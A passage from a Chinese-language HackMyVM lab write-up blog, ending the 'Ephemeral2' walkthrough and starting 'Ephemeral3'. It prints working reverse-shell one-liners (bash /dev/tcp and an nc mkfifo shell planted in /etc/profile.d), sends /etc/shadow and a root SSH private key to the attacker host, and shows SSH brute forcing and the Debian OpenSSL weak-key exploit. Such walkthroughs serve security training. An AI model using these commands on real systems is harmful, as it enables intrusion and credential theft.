# domain controller&amp;quot;, &amp;quot;classic backup domain controller&amp;quot;, &amp;quot;active
# directory domain controller&amp;quot;. 
#
# Most people will want &amp;quot;standalone server&amp;quot; or &amp;quot;member server&amp;quot;.
# Running as &amp;quot;active directory domain controller&amp;quot; will require first
# running &amp;quot;samba-tool domain provision&amp;quot; to wipe databases and create a
# new domain.
   server role = standalone server

   obey pam restrictions = yes

# This boolean parameter controls whether Samba attempts to sync the Unix
# password with the SMB password when the encrypted SMB password in the
# passdb is changed.
   unix password sync = yes

# For Unix password sync to work on a Debian GNU/Linux system, the following
# parameters must be set (thanks to Ian Kahan &amp;lt;&amp;lt;kahan@informatik.tu-muenchen.de&amp;gt; for
# sending the correct chat script for the passwd program in Debian Sarge).
   passwd program = /usr/bin/passwd %u
   passwd chat = *Enter\snew\s*\spassword:* %n\n *Retype\snew\s*\spassword:* %n\n *password\supdated\ssuccessfully* .

# This boolean controls whether PAM will be used for password changes
# when requested by an SMB client instead of the program listed in
# &amp;#39;passwd program&amp;#39;. The default is &amp;#39;no&amp;#39;.
   pam password change = yes

# This option controls how unsuccessful authentication attempts are mapped
# to anonymous connections
   map to guest = bad user

########## Domains ###########

#
# The following settings only takes effect if &amp;#39;server role = primary
# classic domain controller&amp;#39;, &amp;#39;server role = backup domain controller&amp;#39;
# or &amp;#39;domain logons&amp;#39; is set 
#

# It specifies the location of the user&amp;#39;s
# profile directory from the client point of view) The following
# required a [profiles] share to be setup on the samba server (see
# below)
;   logon path = \\%N\profiles\%U
# Another common choice is storing the profile in the user&amp;#39;s home directory
# (this is Samba&amp;#39;s default)
#   logon path = \\%N\%U\profile

# The following setting only takes effect if &amp;#39;domain logons&amp;#39; is set
# It specifies the location of a user&amp;#39;s home directory (from the client
# point of view)
;   logon drive = H:
#   logon home = \\%N\%U

# The following setting only takes effect if &amp;#39;domain logons&amp;#39; is set
# It specifies the script to run during logon. The script must be stored
# in the [netlogon] share
# NOTE: Must be store in &amp;#39;DOS&amp;#39; file format convention
;   logon script = logon.cmd

# This allows Unix users to be created on the domain controller via the SAMR
# RPC pipe.  The example command creates a user account with a disabled Unix
# password; please adapt to your needs
; add user script = /usr/sbin/adduser --quiet --disabled-password --gecos &amp;quot;&amp;quot; %u

# This allows machine accounts to be created on the domain controller via the 
# SAMR RPC pipe.  
# The following assumes a &amp;quot;machines&amp;quot; group exists on the system
; add machine script  = /usr/sbin/useradd -g machines -c &amp;quot;%u machine account&amp;quot; -d /var/lib/samba -s /bin/false %u

# This allows Unix groups to be created on the domain controller via the SAMR
# RPC pipe.  
; add group script = /usr/sbin/addgroup --force-badname %g

############ Misc ############

# Using the following line enables you to customise your configuration
# on a per machine basis. The %m gets replaced with the netbios name
# of the machine that is connecting
;   include = /home/samba/etc/smb.conf.%m

# Some defaults for winbind (make sure you&amp;#39;re not using the ranges
# for something else.)
;   idmap config * :              backend = tdb
;   idmap config * :              range   = 3000-7999
;   idmap config YOURDOMAINHERE : backend = tdb
;   idmap config YOURDOMAINHERE : range   = 100000-999999
;   template shell = /bin/bash

# Setup usershare options to enable non-root users to share folders
# with the net usershare command.

# Maximum number of usershare. 0 means that usershare is disabled.
#   usershare max shares = 100

# Allow users who&amp;#39;ve been granted usershare privileges to create
# public shares, not just authenticated ones
   usershare allow guests = yes

#======================= Share Definitions =======================

# Un-comment the following (and tweak the other settings below to suit)
# to enable the default home directory shares. This will share each
# user&amp;#39;s home directory as \\server\username
;[homes]
;   comment = Home Directories
;   browseable = no

# By default, the home directories are exported read-only. Change the
# next parameter to &amp;#39;no&amp;#39; if you want to be able to write to them.
;   read only = yes

# File creation mask is set to 0700 for security reasons. If you want to
# create files with group=rw permissions, set next parameter to 0775.
;   create mask = 0700

# Directory creation mask is set to 0700 for security reasons. If you want to
# create dirs. with group=rw permissions, set next parameter to 0775.
;   directory mask = 0700

# By default, \\server\username shares can be connected to by anyone
# with access to the samba server.
# Un-comment the following parameter to make sure that only &amp;quot;username&amp;quot;
# can connect to \\server\username
# This might need tweaking when using external authentication schemes
;   valid users = %S

# Un-comment the following and create the netlogon directory for Domain Logons
# (you need to configure Samba to act as a domain controller too.)
;[netlogon]
;   comment = Network Logon Service
;   path = /home/samba/netlogon
;   guest ok = yes
;   read only = yes

# Un-comment the following and create the profiles directory to store
# users profiles (see the &amp;quot;logon path&amp;quot; option above)
# (you need to configure Samba to act as a domain controller too.)
# The path below should be writable by all users so that their
# profile directory may be created the first time they log on
;[profiles]
;   comment = Users profiles
;   path = /home/samba/profiles
;   guest ok = no
;   browseable = no
;   create mask = 0600
;   directory mask = 0700

[printers]
   comment = All Printers
   browseable = no
   path = /var/spool/samba
   printable = yes
   guest ok = no
   read only = yes
   create mask = 0700

# Windows clients look for this share name as a source of downloadable
# printer drivers
[print$]
   comment = Printer Drivers
   path = /var/lib/samba/printers
   browseable = yes
   read only = yes
   guest ok = no
# Uncomment to allow remote administration of Windows print drivers.
# You may need to replace &amp;#39;lpadmin&amp;#39; with the name of the group your
# admin users are members of.
# Please note that you also need to set appropriate Unix permissions
# to the drivers directory for these users to have write rights in it
;   write list = root, @lpadmin

[SYSADMIN]

path = /home/randy/smbshare
valid users = randy
browsable = yes
writeable = yes
read only = no
magic script = smbscript.elf
guest ok = no
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;[SYSADMIN]

path = /home/randy/smbshare
valid users = randy
browsable = yes
writeable = yes
read only = no
magic script = smbscript.elf
guest ok = no
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Ephemeral2-2.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Ephemeral2-3.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;这意味着如果我们上传一个名为smbscript.elf的文件，当该文件被写入到共享目录时，Samba服务器可能会尝试执行它&lt;/p&gt;
&lt;p&gt;卡在这里了，没招了，应该是我跑字典爆破smb端口给靶机磁盘干崩了，空间不够，没办法写东西了&lt;/p&gt;
&lt;p&gt;步骤一：通过挂载点上传一个反向shell脚本，但使用其他名字（例如，rev.elf）。&lt;br&gt;步骤二：通过smbclient重命名该文件为smbscript.elf。&lt;br&gt;步骤三：通过smbclient执行ls命令来触发magic script。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;cat &amp;gt; rev.elf &amp;lt;&amp;lt; &amp;#39;EOF&amp;#39;
#!/bin/bash
bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.0.106/4444 0&amp;gt;&amp;amp;1
EOF
chmod +x rev.elf
sudo cp rev.elf /mnt/smb_test/
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;smbclient //192.168.0.100/SYSADMIN -U randy%pogiako -c &amp;#39;rename rev.elf smbscript.elf&amp;#39;
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;提权&lt;/h1&gt;
&lt;h2&gt;提权-ralph&lt;/h2&gt;
&lt;p&gt;randy/pogiako&lt;/p&gt;
&lt;p&gt;上传linpeas.sh脚本进行扫描&lt;/p&gt;
&lt;p&gt;发现我们对/etc/profile.d具有写入权限&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;(remote) randy@ephemeral:/etc/profile.d$ cat /home/ralph/tools/ssh.sh 
#!/bin/bash


/usr/bin/ssh -o &amp;quot;StrictHostKeyChecking no&amp;quot; ralph@localhost -i /home/ralph/.ssh/id_rsa
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;vi /etc/profile.d/last.sh
#!/bin/bash
rm /tmp/g;mkfifo /tmp/g;cat /tmp/g|sh -i 2&amp;gt;&amp;amp;1|nc 192.168.0.106 7777 &amp;gt;/tmp/g

chmod +x /etc/profile.d/last.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;提权-root&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;(remote) ralph@ephemeral:/home/ralph$ ls
getfile.py  tools  user.txt
(remote) ralph@ephemeral:/home/ralph$ cat user.txt 
0041e0826ce1e1d6da9e9371a8bb3bde

(remote) ralph@ephemeral:/home/ralph$ sudo -l
Matching Defaults entries for ralph on ephemeral:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User ralph may run the following commands on
        ephemeral:
    (root) NOPASSWD: /usr/bin/python3
        /home/ralph/getfile.py
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;ralph@ephemeral:~$ sudo -u root /usr/bin/python3 /home/ralph/getfile.py

File path: /etc/shadow 
IP address: 192.168.0.106

File /etc/shadow sent to 192.168.0.106


--2026-01-13 12:14:38--  http://192.168.0.106/
Connecting to 192.168.0.106:80... connected.
HTTP request sent, awaiting response..
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# nc -lvvp 80                               
listening on [any] 80 ...
connect to [192.168.0.106] from mail.codeshield.hmv [192.168.0.100] 56134
POST / HTTP/1.1
User-Agent: Wget/1.20.3 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: 192.168.0.106
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 1751

root:$6$ONBXfYmDyD2.uHR2$b8FgiI/1JXkRDB1noB5b3fObAXL3tbZj8QrUxpbmqcw99A17fIVY.6SZM2TrBY0WT1XY0n1T0ZNlx/XKfQNqh/:19092:0:99999:7:::
daemon:*:19046:0:99999:7:::
bin:*:19046:0:99999:7:::
sys:*:19046:0:99999:7:::
sync:*:19046:0:99999:7:::
games:*:19046:0:99999:7:::
man:*:19046:0:99999:7:::
lp:*:19046:0:99999:7:::
mail:*:19046:0:99999:7:::
news:*:19046:0:99999:7:::
uucp:*:19046:0:99999:7:::
proxy:*:19046:0:99999:7:::
www-data:*:19046:0:99999:7:::
backup:*:19046:0:99999:7:::
list:*:19046:0:99999:7:::
irc:*:19046:0:99999:7:::
gnats:*:19046:0:99999:7:::
nobody:*:19046:0:99999:7:::
systemd-network:*:19046:0:99999:7:::
systemd-resolve:*:19046:0:99999:7:::
systemd-timesync:*:19046:0:99999:7:::
messagebus:*:19046:0:99999:7:::
syslog:*:19046:0:99999:7:::
_apt:*:19046:0:99999:7:::
tss:*:19046:0:99999:7:::
uuidd:*:19046:0:99999:7:::
tcpdump:*:19046:0:99999:7:::
avahi-autoipd:*:19046:0:99999:7:::
usbmux:*:19046:0:99999:7:::
rtkit:*:19046:0:99999:7:::
dnsmasq:*:19046:0:99999:7:::
cups-pk-helper:*:19046:0:99999:7:::
speech-dispatcher:!:19046:0:99999:7:::
avahi:*:19046:0:99999:7:::
kernoops:*:19046:0:99999:7:::
saned:*:19046:0:99999:7:::
nm-openvpn:*:19046:0:99999:7:::
hplip:*:19046:0:99999:7:::
whoopsie:*:19046:0:99999:7:::
colord:*:19046:0:99999:7:::
geoclue:*:19046:0:99999:7:::
pulse:*:19046:0:99999:7:::
gnome-initial-setup:*:19046:0:99999:7:::
gdm:*:19046:0:99999:7:::
sssd:*:19046:0:99999:7:::
randy:$6$umc2qGGAsuxy4nTr$KGX0WfHCcQwNONY0MzThp6jhh8Y7iWhBb7IdFxVyutTcQJwQXzEYVXKi1PU5RPtr4SQziby6wOIqzayzBIPre.:19092:0:99999:7:::
systemd-coredump:!!:19090::::::
ralph:$6$H19Vgg5dcaicaNfZ$yBNxkgPYn9.sCw.Kiua/zYlNvQbiLP91QHu7REiHeDAyxsaxG4SBcuFkTikMjPab6f7X.13DyllNg9t88uCvp1:19092:0:99999:7:::
sshd:*:19091:0:99999:7:::
mysql:!:19092:0:99999:7:::
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;(remote) ralph@ephemeral:/home/ralph$ sudo -u root /usr/bin/python3 /home/ralph/getfile.py
File path: /root/.ssh/id_rsa
IP address: 192.168.0.106

File /root/.ssh/id_rsa sent to 192.168.0.106


--2026-01-13 12:18:36--  http://192.168.0.106/
Connecting to 192.168.0.106:80... 


┌──(web)─(root㉿kali)-[/home/kali]
└─# nc -lvvp 80
listening on [any] 80 ...
connect to [192.168.0.106] from mail.codeshield.hmv [192.168.0.100] 56136
POST / HTTP/1.1
User-Agent: Wget/1.20.3 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: 192.168.0.106
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 2602

-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;vi root
chmod 600 root 


┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# ssh -T root@192.168.0.100 -i root &amp;quot;bash -i&amp;quot;
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
root@ephemeral:~# cd roottxt    
cd roottxt
root@ephemeral:~/roottxt# ls
ls
root.txt
root@ephemeral:~/roottxt# cat root.txt
cat root.txt
16c760c8c08bf9dd3363355ab77ef8da
&lt;/code&gt;&lt;/pre&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hmvmachines/ephemeral2/&quot;&gt;https://heathc1iff-sec.github.io/blog/hmvmachines/ephemeral2/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Wed, 14 Jan 2026 00:00:00 GMT</pubDate></item><item><title>HMV-Ephemeral3</title><link>https://heathc1iff-sec.github.io/blog/hmvmachines/ephemeral3/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hmvmachines/ephemeral3/</guid><description>Enumeration is key.</description><content:encoded>&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Ephemeral3-1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h1&gt;信息收集&lt;/h1&gt;
&lt;h2&gt;IP定位&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# arp-scan -l | grep &amp;quot;08:00:27&amp;quot;
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
192.168.0.101   08:00:27:f0:38:e6       (Unknown)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;nmap扫描&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# nmap -Pn -sTCV -T4 -p0-65535 192.168.0.101
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-14 04:46 EST
Nmap scan report for 192.168.0.101
Host is up (0.00069s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 f0:f2:b8:e0:da:41:9b:96:3b:b6:2b:98:95:4c:67:60 (RSA)
|   256 a8:cd:e7:a7:0e:ce:62:86:35:96:02:43:9e:3e:9a:80 (ECDSA)
|_  256 14:a7:57:a9:09:1a:7e:7e:ce:1e:91:f3:b1:1d:1b:fd (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.33 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;80端口&lt;/h2&gt;
&lt;h3&gt;目录扫描&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;gobuster dir -u http://192.168.0.101 -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x php,txt,html,zip,db,bak,js,yaml -t 64

==============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) &amp;amp; Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.0.101
[+] Method:                  GET
[+] Threads:                 64
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              zip,db,bak,js,yaml,php,txt,html
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 10918]
/.html                (Status: 403) [Size: 278]
/note.txt             (Status: 200) [Size: 159]
/agency               (Status: 301) [Size: 315] [--&amp;gt; http://192.168.0.101/agency/]                        
/.html                (Status: 403) [Size: 278]
/server-status        (Status: 403) [Size: 278]
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;# html-freebie-agency-perfect
Agency Perfect is a responsive HTML5 template with a clean and professional design which will be a great solution for creative agencies. Agency Perfect was built with awesome Twitter Bootstrap v3 and it includes a number of predefined pages. Since it is responsive, the layout will adapt to different screen sizes which will make your website be compatible with any device such as smart phones, tablets or desktop computers.

Agency Perfect 是一个响应式 HTML5 模板，设计简洁且专业，非常适合创意型机构使用。Agency Perfect 基于强大的 Twitter Bootstrap v3 构建，并包含多个预定义页面。由于它是响应式的，布局可以适应不同屏幕尺寸，使您的网站能够兼容各种设备，如智能手机、平板电脑或台式电脑。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;网页界面&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;randy@ephemeral.com
info@agencyperfect.com
pixelperfectmk@gmail.com

John Smith 
Marc Jones 
Linda Smith
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;Hey! I just generated your keys with OpenSSL. You should be able to use your private key now! 

If you have any questions just email me at henry@ephemeral.com

Hey! I just generated your keys with OpenSSL. You should be able to use your private key now! 

If you have any questions just email me at henry@ephemeral.com
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;randy和henry&lt;/p&gt;
&lt;h3&gt;创建字典&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;John Smith 
Marc Jones 
Linda Smith

┌──(web)─(root㉿kali)-[/home/kali/Desktop/tools/username-anarchy]
└─# ./username-anarchy --input-file ../../hmv/users.txt &amp;gt; test_users
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;SSH爆破&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# hydra -L test_users -P /usr/share/wordlists/rockyou.txt 192.168.0.101 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC &amp;amp; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-14 05:00:44
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 602464758 login tries (l:42/p:14344399), ~37654048 tries per task
[DATA] attacking ssh://192.168.0.101:22/

[INFO] Successful, password authentication is supported
[ERROR] could not connect to target port 22: Connection reset by peer
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;说明：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SSH 允许密码认证（不是 key-only）

但 在多次快速连接后主动 reset TCP
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; 没思路了&lt;/p&gt;
&lt;h2&gt;openssl 漏洞利用&lt;/h2&gt;
&lt;p&gt;根据给的note.txt提示，尝试使用openssl漏洞 &lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# searchsploit openssl ssh
------------------- ---------------------------------
 Exploit Title     |  Path
------------------- ---------------------------------
OpenSSL 0.9.8c-1 &amp;lt; | linux/remote/5622.txt
OpenSSL 0.9.8c-1 &amp;lt; | linux/remote/5632.rb
OpenSSL 0.9.8c-1 &amp;lt; | linux/remote/5720.py
------------------- ---------------------------------
Shellcodes: No Results


┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# searchsploit -m linux/remote/5720.py
  Exploit: OpenSSL 0.9.8c-1 &amp;lt; 0.9.8g-9 (Debian and Derivatives) - Predictable PRNG Brute Force SSH
      URL: https://www.exploit-db.com/exploits/5720
     Path: /usr/share/exploitdb/exploits/linux/remote/5720.py
    Codes: OSVDB-45029, CVE-2008-3280, CVE-2008-0166
 Verified: True
File Type: Python script, ASCII text executable
Copied to: /home/kali/Desktop/hmv/5720.py
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# python2 5720.py 

-OpenSSL Debian exploit- by ||WarCat team|| warcat.no-ip.org
./exploit.py &amp;lt;dir&amp;gt; &amp;lt;host&amp;gt; &amp;lt;user&amp;gt; [[port] [threads]]
    &amp;lt;dir&amp;gt;: Path to SSH privatekeys (ex. /home/john/keys) without final slash
    &amp;lt;host&amp;gt;: The victim host
    &amp;lt;user&amp;gt;: The user of the victim host
    [port]: The SSH port of the victim host (default 22)
    [threads]: Number of threads (default 4) Too big numer is bad
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现缺少&lt;dir&gt;: Path to SSH privatekeys (ex. /home/john/keys) without final slash&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/]
└─# searchsploit -x /linux/remote/5622.txt

1. Download http://sugar.metasploit.com/debian_ssh_rs
a_2048_x86.tar.bz2
            https://gitlab.com/exploit-database/explo
itdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2 
(debian_ssh_rsa_2048_x86.tar.bz2)

┌──(web)─(root㉿kali)-[~]
└─# tar jxf 5622.tar.bz2
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# python2 5720.py ~/rsa/2048 192.168.0.101 randy 

-OpenSSL Debian exploit- by ||WarCat team|| warcat.no-ip.org
The authenticity of host &amp;#39;192.168.0.101 (192.168.0.101)&amp;#39; can&amp;#39;t be established.
ED25519 key fingerprint is SHA256:Q3PyaanJJfcfx3mqkxE35gi3m6xmdaPE1FHLQufrRHw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? The authenticity of host &amp;#39;192.168.0.101 (192.168.0.101)&amp;#39; can&amp;#39;t be established.
ED25519 key fingerprint is SHA256:Q3PyaanJJfcfx3mqkxE35gi3m6xmdaPE1FHLQufrRHw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? The authenticity of host &amp;#39;192.168.0.101 (192.168.0.101)&amp;#39; can&amp;#39;t be established.
ED25519 key fingerprint is SHA256:Q3PyaanJJfcfx3mqkxE35gi3m6xmdaPE1FHLQufrRHw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? The authenticity of host &amp;#39;192.168.0.101 (192.168.0.101)&amp;#39; can&amp;#39;t be established.
ED25519 key fingerprint is SHA256:Q3PyaanJJfcfx3mqkxE35gi3m6xmdaPE1FHLQufrRHw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Tested 62 keys | Remaining 32706 keys | Aprox. Speed 12/sec
Tested 186 keys | Remaining 32582 keys | Aprox. Speed 24/sec

.............
Tested 15729 keys | Remaining 17039 keys | Aprox. Speed 53/sec
Tested 15818 keys | Remaining 16950 keys | Aprox. Speed 17/sec
Tested 15827 keys | Remaining 16941 keys | Aprox. Speed 1/sec
Tested 16032 keys | Remaining 16736 keys | Aprox. Speed 41/sec
Tested 16246 keys | Remaining 16522 keys | Aprox. Speed 42/sec
 
Key Found in file: 0028ca6d22c68ed0a1e3f6f79573100a-31671
Execute: ssh -lrandy -p22 -i /root/rsa/2048/0028ca6d22c68ed0a1e3f6f79573100a-31671 192.168.0.101
 
